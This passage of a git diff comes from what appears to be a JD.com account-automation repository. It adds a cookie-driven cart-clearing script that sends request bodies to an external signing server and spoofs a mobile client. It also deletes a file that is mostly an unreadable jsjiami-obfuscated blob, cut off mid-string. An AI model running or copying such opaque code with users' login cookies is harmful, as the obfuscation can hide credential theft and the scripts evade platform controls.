if(message){ + $.msg($.name, ``, `${message}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + let msg = '' + let signBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":true,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","adid":""}` + let body = await jdSign('cartClearQuery', signBody) + if($.out) return + if(!body){ + console.log('获取不到算法') + return + } + let data = await jdApi('cartClearQuery',body) + let res = $.toObj(data,data); + if(typeof res == 'object' && res){ + if(res.resultCode == 0){ + if(!res.clearCartInfo || !res.subTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + let num = 0 + if(res.subTitle){ + num = res.subTitle.match(/共(\d+)件商品/).length > 0 && res.subTitle.match(/共(\d+)件商品/)[1] || 0 + msg += res.subTitle + "\n" + console.log(res.subTitle) + } + // console.log(`共${num}件商品`) + if(num != 0){ + let operations = [] + let operNum = 0 + for(let a of res.clearCartInfo || {}){ + // console.log(a.groupName) + // if(a.groupName.indexOf('7天前加入购物车') > -1){ + for(let s of a.groupDetails || []){ + if(toSDS(s.name)){ + // console.log(s.unusable,s.skuUuid,s.name) + operNum += s.clearSkus && s.clearSkus.length || 1; + operations.push({ + "itemType": s.itemType+"", + "suitType": s.suitType, + "skuUuid": s.skuUuid+"", + "itemId": s.itemId || s.skuId, + "useUuid": typeof s.useUuid !== 'undefined' && s.useUuid || false + }) + } + } + // } + } + console.log(`准备清空${operNum}件商品`) + if(operations.length == 0){ + console.log(`清空${operNum}件商品|没有找到要清空的商品`) + msg += `清空${operNum}件商品|没有找到要清空的商品\n` + }else{ + let clearBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":false,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","operations":${$.toStr(operations,operations)},"adid":"","coord_type":"0"}` + clearBody = await jdSign('cartClearRemove', clearBody) + if($.out) return + if(!clearBody){ + console.log('获取不到算法') + }else{ + let clearData = await jdApi('cartClearRemove',clearBody) + let clearRes = $.toObj(clearData,clearData); + if(typeof clearRes == 'object'){ + if(clearRes.resultCode == 0) { + msg += `清空${operNum}件商品|✅\n` + console.log(`清空${operNum}件商品|✅\n`) + }else if(clearRes.mainTitle){ + msg += `清空${operNum}件商品|${clearRes.mainTitle}\n` + console.log(`清空${operNum}件商品|${clearRes.mainTitle}\n`) + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + } + } + }else if(res.mainTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + msg += `未识别到购物车有商品\n` + console.log(data) + } + } + }else{ + console.log(data) + } + }else{ + console.log(data) + } + if(msg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${msg}\n` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function toSDS(name){ + let res = true + if($.cleancartProductsArr === false) return false + for(let t of $.cleancartProductsArr || []){ + if(t && name.indexOf(t) > -1 || t == '不清空'){ + res = false + break + } + } + return res +} +function jdApi(functionId,body) { + if(!functionId || !body) return + return new Promise(resolve => { + $.post(taskPostUrl(`/client.action?functionId=${functionId}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.mainTitle) console.log(res.mainTitle) + if(res.resultCode == 0){ + resolve(res); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(''); + } + }) + }) +} + +function jdSign(fn, body) { + let sign = ''; + let flag = false; + try { + const fs = require('fs'); + if (fs.existsSync('./gua_encryption_sign.js')) { + const encryptionSign = require('./gua_encryption_sign'); + sign = encryptionSign.getSign(fn, body) + } else { + flag = true + } + sign = sign.data && sign.data.sign && sign.data.sign || '' + } catch (e) { + flag = true + } + if (!flag) + return sign + if (!jdSignUrl.match(/^https?:\/\//)) { + console.log('请填写算法url') + $.out = true + return '' + } + return new Promise((resolve) => { + let url = { + url: jdSignUrl, + body: `{"fn":"${fn}","body":${body}}`, + followRedirect: false, + headers: { + 'Accept': '*/*', + "accept-encoding": "gzip, deflate, br", + 'Content-Type': 'application/json' + }, + timeout: 30000 + } + $.post(url, async(err, resp, data) => { + try { + data = JSON.parse(data); + if (data && data.body) { + if (data.body) + sign = data.body || ''; + if (sign != '') + resolve(sign); + else + console.log("签名获取失败."); + } else { + console.log("签名获取失败."); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve('') + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://api.m.jd.com${url}`, + body: body, + headers: { + "Accept": "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie}`, + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167853 (iPhone; iOS; Scale/2.00)" , + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_half_redrain.js b/jd_half_redrain.js deleted file mode 100644 index 7e0aeb9d1..000000000 --- a/jd_half_redrain.js +++ /dev/null @@ -1,19 +0,0 @@ -/* -半点京豆雨 - - -30 16-23/1 * * * jd_half_redrain.js - - */ -const $ = new Env('半点京豆雨'); - -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -var _0xodW='jsjiami.com.v6',_0x5a5d=[_0xodW,'w7cjbUJN','wrozw7xywqQ=','WsK1TzDCtw==','RFfCnjjDpg==','w5Aow6RCVg==','U8K7wqHDuzA=','CsKkw681Ag==','AMKkIcOWwpo=','YQjCi8Okw4E=','w6R9F8OiwpA=','w4UZFx3Cjw==','QEDDt8KOEw==','wqZZw4rDisOZ','RMKdZj/Cvg==','w58xUm9W','wr8lNUhi','wrklw7ZgwqQ=','NsK3OFgSKsKRw6DDpsOEOAjCug4mLi7DmF3CpV7Cu8K7wpHDoMKpOcKQwrchdAzCoMKow4V5VQdYfmpQRsOAwrjDrArChcKuGg9tH2k=','w4QXRHNt','woBVDMOWBg==','w6cXw7AMVg==','wpEqAHRs','w5gcw7NEYw==','fjvCusOfw5U=','S8OjwpxawrTDpg==','ScKDew==','wr3CmMKQe8KwdsKqZsKnJ8K9w5/Dlw==','w69wDA==','wpNPAMOxwq/DlzPCvg7CgcO+FB4=','QRfCk2ti','OxzCrT9NwrPCsA==','F8OqwrdPIA==','ZQbCuVQ2YBQ=','w7dOcsKsDQ==','w75QM8OvwoU=','dsKYwrHDhA==','OcKdJ8OVwrg=','wrwWw6x8wqA=','DgNjCiU=','YzPCjsO/w6E=','w5LChcKzR1E=','wrYtBQ==','woAZw5AvbcO7wrPCksOE','w55VYQ==','wrQjD0s=','JsK2wpLDueiuleaznuWllui2me+/veivmuahhOadque/iOi2vemEvOisug==','5buq6YWW5o+G5LuV6L+Q5Y60aMKc6K+K56qv5ZOI6Yak6K+6w7c=','w4g1bHBt','w7/CisKDW1w=','OTxVCwk=','axDCgV8wfRs=','cgLCv0My','WcKWw5zCscKi','w5vCvsKJMjk=','w47CjMKYRlIdLQ==','w4d/w7PDqHw=','w54EIBnCtg==','MzPCuChp','dRbClHwB','w6/CkcKwCiw=','UjzCrkBQwqgp','LVrDisK8WQ==','w5xTZcKpG1LCkcOG','bAbDtG7Dvw==','SyrCq13Cvw==','w4Zcw7HDsFdqMsOc','w59tH8OSwpgRw6g1','GBjCixVo','wohDacKCCw==','BsK8BMOuwpY=','w6M9cnNU','wrwuDUFI','NsKKNU05','IMO/wq1FF1U=','fMKLfgDCpw==','w63CtMKlCQg=','wpxCAMO8Dw==','w43CosKbPTw=','bREY','5Lik5Lua5p+Q5YuZ5Ziy6L2E5ZmE56mY5pa95o+x','G8OtwoA=','WCrCvQ==','OiPDksK7','wpBLOcOxMQ==','McOgccKUwrQ=','TRvCnlnCog==','wpDCjMKYdMKv','RMKJw77CjMK2','w54zdXVKdyEWOFk=','DSZl','5bqY6Yay5o2b5LmD6L6m5Y60wqbCkeisrOeoluWTiemGhuittcOO','UcOkwqBcwr7DpHLCnMK/','w6ZxHcOlwqQC','w7IPw4RbQw==','w7RqZcKkIw==','A8OSwoBiNA==','aAHCl0rCrMKg','aQbCkX7Cqg==','wqMhKGJC','YsK1VhAn','wpshLUNW','KTbCriJF','RTjCqFdU','TsKdwrjDuCk=','wrhUacKSPw==','PwzDrXvCnA==','GcOEwpFlGQ==','wpotw4M=','5Luo5pW15q+z5pWF5bSi5rmi','6aKB5Y615aeM6LSK77+D5p+45Z+S5bSV6aKU6L2I','5b2T5buJ772/','w5TCi8KmQFsTKsODwpI=','asKfWA==','MBbCvg==','5Luf5LqG5p+v5Ym55Zmj6K6w6Zaq5peM5o2T5LqY56q8772l6K+Y5qGJ5p676Ie06LiD6K+X5aWL57+p57q/5oGy5YSM','IcOqwrFIFl8=','R8KawovDnAc=','5LiM6Ke/5Z2XDBJ3w4DDouaKkOWKs+WniuWJveewuOi2hOS/peaUojjDiHAKZ38=','wpRQGsO3HA==','G8KKOEUT','w6jCisKjRlk=','w5fCisORw5IZ','V8KWwrvDlDM=','wqojEF1f','XsKPWzrCuA==','wp8SC11O','wrMsBktCf8OI','woIww41X','N3jCu2jCicOfQQ==','ZTnChcO4w7E=','w5XCmsKiTEcHJg==','bMKfVjM=','QMKIYxHCpWk=','w7FGw4rDvnU=','w4g7w486cA==','cxPCpnkx','OsKVw4s+JjI=','w4JPdcKq','w6xsFcONwpUYw6QiZFrDhmM=','RsKCZBg=','I8KUFcOWwpIrfw==','CDpMFgQQ','Oi/Domw=','w7oFw45Ub0nCjQ==','IsOrwrBJ','w6PChcOe','TMKzwp3DtCfDnjLDuw==','ZBAJ','FMKHE2wkUsOrwog=','wrNSwox2SQ==','w6TCqcK6','wqByJsO0KsKSwrvDpcKD','wrpgfg==','KMOXRcKFw5rCm2I=','w4o1IBvCgF0=','OQHCsC8=','wrJWwpRhTcKAw5s=','wrACw40tasO5wpDCsA==','DsKZw5ctHcKLRg==','wpktDUVTVcOkwrMG','JsOcVcKEw4PCoGU=','wpxhZ8K9B2fDvsOUw4o=','JMKBw5k=','w6lxFcOLwr8V','ZxcTOhh9','w4UzYHFMPk1WPUxvHsOZw7vCpcO6w7saf8OlWUlIwqE=','I3zCp3fCjQ==','wrDClcKbZsK2cQ==','44CW5oyg56SF44GM6K6X5YWm6I+C5Y+u5Lmr5LiR6LWH5Y6Y5LiPMMKIcQ51KWDnmobmjoLkvoLnl5zCr3QMEsOtwrbnmZfkuZ7kuZvnr4rliIfoj47ljIo=','wrF/K8OUwo/CqE7Dji3Co8OaNGTDnsOgOSU2w5HDncKmUA==','w6/CvsKYb2omAsOswqUgF25R','BsOGwqlxMQ==','L8OlwoVPNQ==','w7IIw7c8Tw==','w44vPh/CuA==','w48IRXhc','w5nCo8KpLRs=','NsOswpNlOw==','DsKuw4zDtsOc','wq4Ow6J/wps=','A8OuZMK0wqE=','w6vCssKLHhI=','G8KKL0Up','dMK0wojDlBY=','RTHCm2vCow==','w6XCtsKyb3g=','BcKTw4Q=','wpsxw4M=','wozChsOZw4E=','Z8KnVQ7Cng==','F8OnQsKPwoE=','ZQXCnHrCvg==','XCrClEtVwrk=','DUvDkcKMUcOfwpU=','dijCpF7Clg==','wrDChMKXfcKw','IzFxAA8=','w7oxcXhO','U8ObwotEwok=','wr9pMw==','5pyO5Z6g6Yaf572bwoLDkVrDgMOm','C0LDisKdZw==','TcO4wrBRwok=','QCzCs2PCnw==','I8Kyw7EmOg==','awzCmg==','5Yya5ZWm6by9546xwpA=','woVXwppnTw==','wrh4w4c=','5Y695ZeV5a+p5oqq','wo7CiMOT','5LuL5pab6b+m54+F8KCAveS+m+WDtu+/l+aZr+eqveS5jOmFrOKasO+4hO+8l+aVouaVguWGkuachO+9kBDlib/lvJfpvqjnjqblu5rnp6vnp5Dms6bpmIrCscK3OcKiL3UbGsKaesKIEsKaw60dTn3CjjhbdjovU20=','cRPCoVkj','W8K9w40=','OC3DmA==','6b2A546A5bGu5L+pw4bCsg==','VBnCh0A+','d3DCjR3DsA==','ZjnCjHzCmQ==','wqMJw5RCwps=','w4cnw6krYw1yw5XCn8O1w7o=','FsOuwoh0Fg==','InjCv0nCgcOSUcKaRMKT','VsKURT8D','eDLCv1kN','wrxNW8KVDA==','wqB7wp7CjRI=','HMOnwp5y','wpZ+wonCjSXCssKo','GcKJw5Ah','w63CqMKr','P8OFfMKewrXCkcKGwpY=','QSPDjWnDmA==','R8O+wqQ=','w4BaJcOkwpMyw5AX','EsKxC0cW','w6rChMOP','ZMKmUiwm','w54zZmhRYwsfJQ==','XWnDtw==','w4QpcGRHSwQ=','UALCmEXChQ==','wrp2YcKi','w4Ehw6kXQSdOw4PCo8Oj','wp8Cw4U=','IcOIwqPDois=','fkPDrcKHBA==','EQFnOBI=','wprCvsKeecKT','w4Usw6s=','VMKxdhM/YDpswo5LODBMHMKpSjdTAA==','P8OowqXCt3w=','w6ETEw==','5pal5rOI5LiF5pyo5Z+Y6K2H5Y+y6Yaj572P77+s6K6j5qOa5p6N6Lyc6KGX5pS76Za4','w4oQw7ZhZw==','wrlWwo5iWMKc','KMO0wqd2EA==','w4HCr8K2eFI=','wrl2wpnCvgo=','w7Aow41BeA==','wqDCicKEYsK1','FsOsasKsw7Q=','5Lim5LiC5p235YiB5Zq+6L6k5Zmb56iq5pWX5o2b','ecKeaATCn2DCs8OB','fF7Dq8K4BQ==','a8KWwrbDkwo=','w59bcsKhPQ==','OCTDv3rCvA==','OcKDw43DnMO4','wp8xw6hVwonDuMOP','eCDCisO6w4sOwppY','A8Oja8K2w4s=','BkHDgg==','JsOHJ1zDuyvDtOW+pOWmg+OCv+S5lOS4uOi3huWOpA==','aw3CqVUv','B8KVw4AiMsKeSkI=','w5PCmMONw4QGGkfCiA==','wodtPisVLkhTdjY=','b8KEwo7DnwXDtQk=','BmzDlMK4Rg==','wq1mwpZGYw==','GsKtw48kMQ==','ahDCmg==','G8OgTsK/','44Cy5o2A56eo44CkwrPDrHTCkcKvbuW2oOWltuaUqQ==','5Lim5LiC6LWc5Y2X','fyfCjcO0w70=','aMKewqHDmyzDvQrDmQ==','BDnDvm3CisOYeMO6','w7ror6bphLbmlbjnmL/lvoTojbfljot2w4XDkm4+E8Obw4EIw4QkwpDCu8OiNcOMGMO5WzIZMCo=','w6TCjcOJw6M5','BcK7w7PDi8Opwoc=','chsRKjNgw77DmMK9Yg==','w5xba8Kn','ZcKYwq3DmwvDueW2leWmjeaWuQ3CqcKv','IMOyRsKowr7CssK+wrQ=','5Lu+5LqC6Lel5Y+W','HMKTw4w/HCHCsQ8=','Q+isl+mFpOaXveeYqeW8leiNq+WOvMOEUzHDliTDgg==','wrtdMsOVwro=','wpcMI35Q','KMKZw5rDscOh','wqpdwqHCujA=','w7bCtsKASnE=','JAJPFg0=','PAbDpcKqbw==','LjjCvzRZ','PsOxwqQ=','5b6E5buT776yw41qFlnCisOIwpPCmuWlj+WOpOaBp+WQiO+9nOWlkeWSnuS7rOS9sOaSmOiAjeiAp+i9pcKLccKrVMK+Ri9JwrsWKcO+I2IOw65PD8Kxwoo/wpTClnfDhT3DuA==','QDnCh2Y+','wrNhbw==','5Luc5pas6b2w54ya8L6BneS/puWBuu+9p+aZkeeoh+S5jemGrOKYn++4su+9qeaWgOaViOWEleacj++9l0zlipjlvL/pvannj57lubHnp43npofmsrfpmLzDp8K2IA3CjB3DjyJbwrnDo3XDtcOKw7LCmGkuK8OfwrDCjcKowr3ChQ==','G8OcwrHCin8=','DQtzKRY=','GGTDosKaXw==','w419E8OHwrQ=','wp8xw6pVworDtA==','w4FfaMKmG1zCiMOKw5wh','MMKiIU0=','bxDCqg==','wr1nOcO4','PcKeAsO/woE6','Aih2Ggg=','VGjDpg==','DyhvHA==','wqTDpuWnrOi1nXvCsOWMheWbgsO3wr8=','w4suemBTaBs=','NsOxwq1E','wplVwpLCoDU=','b8KZwqbDlRrDkwE=','B8OowovCtQ==','dMKSwrLDnAPDvwI=','RinCtk1F','wq1rfsKzHHHDqA==','w43CkMK9Rw==','wp8Iw4whd8O0','ZhLCjnBF','J8KdJMO+wqs=','UjMMIyk=','dBbCn1zCu8Km','A8OvwpHCsA==','wrJlw4/Dq8Ogw4EZwpXCiz/CpT0=','Pi3DlsKw','RzzCqkhQwr8t','wrN6wqFpXg==','QXjCmBDDoQ==','w4bCjMKXYXE=','M8OYT8KEw43CuQ==','w6XCnMKnUE0=','w6V8EMOFwrUE','Ri7Djm/Dqg==','w6B7T8KMCn3Cs8O3w7MeKMOcwpJfNQfDqCLCgg==','ScKIRwfCtw==','w5lNa8KbDA==','VlLCghfDuw==','JzTDvsKYTg==','GcOAwrXCvFM=','wr9ewoF2Tg==','aiLDlVbDvg==','TcKZUC0W','F8O2SMKvwok=','DyZjETIQNncow4TDglzCnMOWQBlHCA==','RwQIAhg=','McKoHFgb','FMKJw7zDtcO3','MQBtLww=','w6spe1V7','cwLCp1rCig==','wpV+LMOhwpE=','AsOgc8K2wrI=','P8OvwpHCnWY=','N8OswojCjFk=','dVPCnhXDvQ==','SMKRUD8u','AVvDkMKdWQ==','VizCu1sb','w75nw7XDoXc=','esKpw47Ch8KK','XMKxajY4','wqlhZsK6OQ==','f13DlMKiFA==','BSvCjAhC','YA/ClFsN','b8KfeBXCiw==','AcO0worCl0I=','YwDCuVkhfQHCnMOvZg==','wrNyw5Q=','YMKPQw/CnA==','w70Aw6hLbA==','wrtGwrXCrDA=','NzjCnQFE','YCsaAho=','UhDClmHChA==','JRjDlmrCoA==','DzjCowti','w5JGFsORwrg=','JcOQwrVvAg==','cC3Ci2HCtQ==','fn/DiMKdGA==','wqMaw4w+UA==','wrhww5PDi8O3','QMKKfjvChQ==','wopCb8K6NA==','wpLChsOGw5fClg==','YjHCvXN/','PSXDvA==','S3PDs8KCOzpHwqMg','WTbCvQ==','wofCvsKEYOivguawtuWlsui2gO+/p+iuiOaiheafmee9gei0mOmGi+istg==','D8Kww4/Dr8Om','wqAGN2xL','w4zCssO7w5oH','wrp1GsOyIMKQ','JMOXVw==','fsKsRDjCjk/CkcOwAcOpwqF7wqMcw6bChSglwpE=','w402w5IodA==','NMKfEw==','ZMKdw7TCjMK4w4HDtSMtw5/ChMKpwrXCkgdYRsKISQ==','wqJQwqlMdA==','EMOnwpNlIHjDpA==','wqMOw7YrTw==','OTbDsMKIRg==','w5p9LsONwpo=','PsKDw6AECg==','WAjCj0YD','dsKRTS4F','wqIEC0hp','H8K9w5/Dp8OiwobDjw==','6aGf5Y+d5omP5Yi777+w6Iyl5b+2','w7vCssKvETTDt8OzRMK0','w55VcsK2MEHChcOxw58rBMOvwqU=','6aK+5Y+R5oqR5Ym0772Z6I+q5b65w6U=','w6rChMOcw4ItCVPCv8KPw5rDjV4/','aDPCqFEkWBzClsOS','NGjCqmrCnMOVUMKX','5LqO5LqM6Le05Y+C','wovCicOQw4HCiw==','GcOrwoRqD23DqMOh','YCrCv1Z/wr0lw6w=','wrjporzlj5Dmi5Lli4rvvL/ojYvlvLTCmg==','GcOuV8KuwpXCocKqwoMkLsKLw7HCvg==','ay4aLw5Dw6PDgsKv','OMKVw4gjJinCqBM=','w7U5BCXChg==','wrxdwoRgVA==','w5gEw7QYZA==','VGHClTzDvGnDkQ==','McKmw4ArAQ==','VDPChnM4','wqU9w6kFbA==','eibCjg==','5Lq95pWn5q+G5pWx5baz5rut','6aOx5Y2U5aeW6LSk772N5pyg5Z6/5bW26aKa6Ly/','HcOzwoHCs0VuKcOZ','woBAwoV3YsKVw5cv','w5Bww6LDrWo=','M8O/aMKDw5U=','wpAVw5NCwos=','WsKzw5o=','5b2W5bm6776l','w4vCkMKz','bgzCqg==','5Lie5Lim5pyL5Ymj5Zi96K6M6ZSS5peT5o+U5Lmi56iL776P6Kym5qOQ5p6e6Ia56LiR6K+T5aeJ57+L57ux5oO35Yev','TsO/wrVwwqLDsQ==','w4/Ck8KxOQ0=','w5fCksOew5kj','woIew5InRA==','HMKICMOwwqM=','S3vCkA==','wpgjw4lf','IT8vB+iuiuaxjeWmu+i2lO+/l+ivrOagh+aerue/sei1n+mHhuivjg==','CsKhw6UXKw==','UxwdKC0=','bBHCj0Iu','44CG5o6Z56eT44KA6K2y5YSn6I2A5Y+r5LuH5Li56LWb5Y695LmgfFIKw5LDhMO9YOebveaPo+S+queWl8K+OsKKw7xMwpTnmZDkubHkuornrLbliYnojY/ljrs=','Ns